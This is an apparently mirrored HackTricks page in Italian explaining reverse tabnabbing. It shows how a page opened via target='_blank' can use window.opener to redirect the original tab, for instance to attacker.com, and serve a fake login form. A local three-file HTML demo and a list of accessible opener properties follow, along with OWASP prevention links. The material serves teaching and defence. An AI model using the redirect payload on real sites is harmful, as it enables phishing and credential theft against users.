mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-16 09:48:14 +00:00
113 lines
6.7 KiB
Markdown
113 lines
6.7 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **su GitHub.**
|
|
|
|
</details>
|
|
|
|
|
|
# Descrizione
|
|
|
|
In una situazione in cui un **attaccante** può **controllare** l'argomento **`href`** di un tag **`<a`** con l'attributo **`target="_blank" rel="opener"`** che verrà cliccato da una vittima, l'**attaccante** può **indirizzare** questo **link** a un sito web sotto il suo controllo (un **sito web** **malizioso**). Quindi, una volta che la **vittima clicca** sul link e accede al sito web dell'attaccante, questo **sito web** **malizioso** sarà in grado di **controllare** la **pagina originale** tramite l'oggetto javascript **`window.opener`**.\
|
|
Se la pagina non ha **`rel="opener"` ma contiene `target="_blank"` e non ha `rel="noopener"`**, potrebbe essere vulnerabile.
|
|
|
|
Un modo comune per sfruttare questo comportamento sarebbe **cambiare la posizione del sito web originale** tramite `window.opener.location = https://attacker.com/victim.html` verso un sito web controllato dall'attaccante che **sembra quello originale**, in modo da **imitare** il **modulo di accesso** del sito web originale e chiedere le credenziali all'utente.
|
|
|
|
Tuttavia, nota che poiché l'**attaccante ora può controllare l'oggetto finestra del sito web originale**, può sfruttarlo in altri modi per eseguire **attacchi più furtivi** (ad esempio modificando gli eventi javascript per esfiltrare informazioni verso un server controllato da lui?)
|
|
|
|
# Panoramica
|
|
|
|
## Con collegamento di ritorno
|
|
|
|
Collegamento tra pagine padre e figlio quando non viene utilizzato l'attributo di prevenzione:
|
|
|
|
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
|
|
|
|
## Senza collegamento di ritorno
|
|
|
|
Collegamento tra pagine padre e figlio quando viene utilizzato l'attributo di prevenzione:
|
|
|
|
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
|
|
|
|
## Esempi <a href="#examples" id="examples"></a>
|
|
|
|
Crea le seguenti pagine in una cartella e avvia un server web con `python3 -m http.server`\
|
|
Quindi, **accedi** a `http://127.0.0.1:8000/`vulnerable.html, **clicca** sul link e nota come l'**URL del sito web originale cambia**.
|
|
|
|
{% code title="vulnerable.html" %}
|
|
```markup
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>Victim Site</h1>
|
|
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% code title="malicious.html" %}
|
|
```markup
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<script>
|
|
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% code title="malicious_redir.html" %}
|
|
```markup
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>New Malicious Site</h1>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% endcode %}
|
|
|
|
## Proprietà accessibili <a href="#accessible-properties" id="accessible-properties"></a>
|
|
|
|
Nello scenario in cui si verifica un accesso **cross-origin** (accesso tra domini diversi), le proprietà dell'istanza della classe JavaScript **window**, a cui si fa riferimento tramite il riferimento dell'oggetto JavaScript **opener**, che possono essere accessibili da un sito maligno sono limitate alle seguenti:
|
|
|
|
- **`opener.closed`**: Questa proprietà viene utilizzata per determinare se una finestra è stata chiusa, restituendo un valore booleano.
|
|
- **`opener.frames`**: Questa proprietà fornisce accesso a tutti gli elementi iframe all'interno della finestra corrente.
|
|
- **`opener.length`**: Questa proprietà restituisce il numero di elementi iframe presenti nella finestra corrente.
|
|
- **`opener.opener`**: È possibile ottenere un riferimento alla finestra che ha aperto la finestra corrente tramite questa proprietà.
|
|
- **`opener.parent`**: Questa proprietà restituisce la finestra padre della finestra corrente.
|
|
- **`opener.self`**: Questa proprietà fornisce accesso alla finestra corrente stessa.
|
|
- **`opener.top`**: Questa proprietà restituisce la finestra del browser in primo piano.
|
|
|
|
Tuttavia, nei casi in cui i domini sono identici, il sito maligno ottiene accesso a tutte le proprietà esposte dall'oggetto di riferimento JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
|
|
|
|
# Prevenzione
|
|
|
|
Le informazioni sulla prevenzione sono documentate nel [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
|
|
|
|
## Riferimenti
|
|
|
|
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|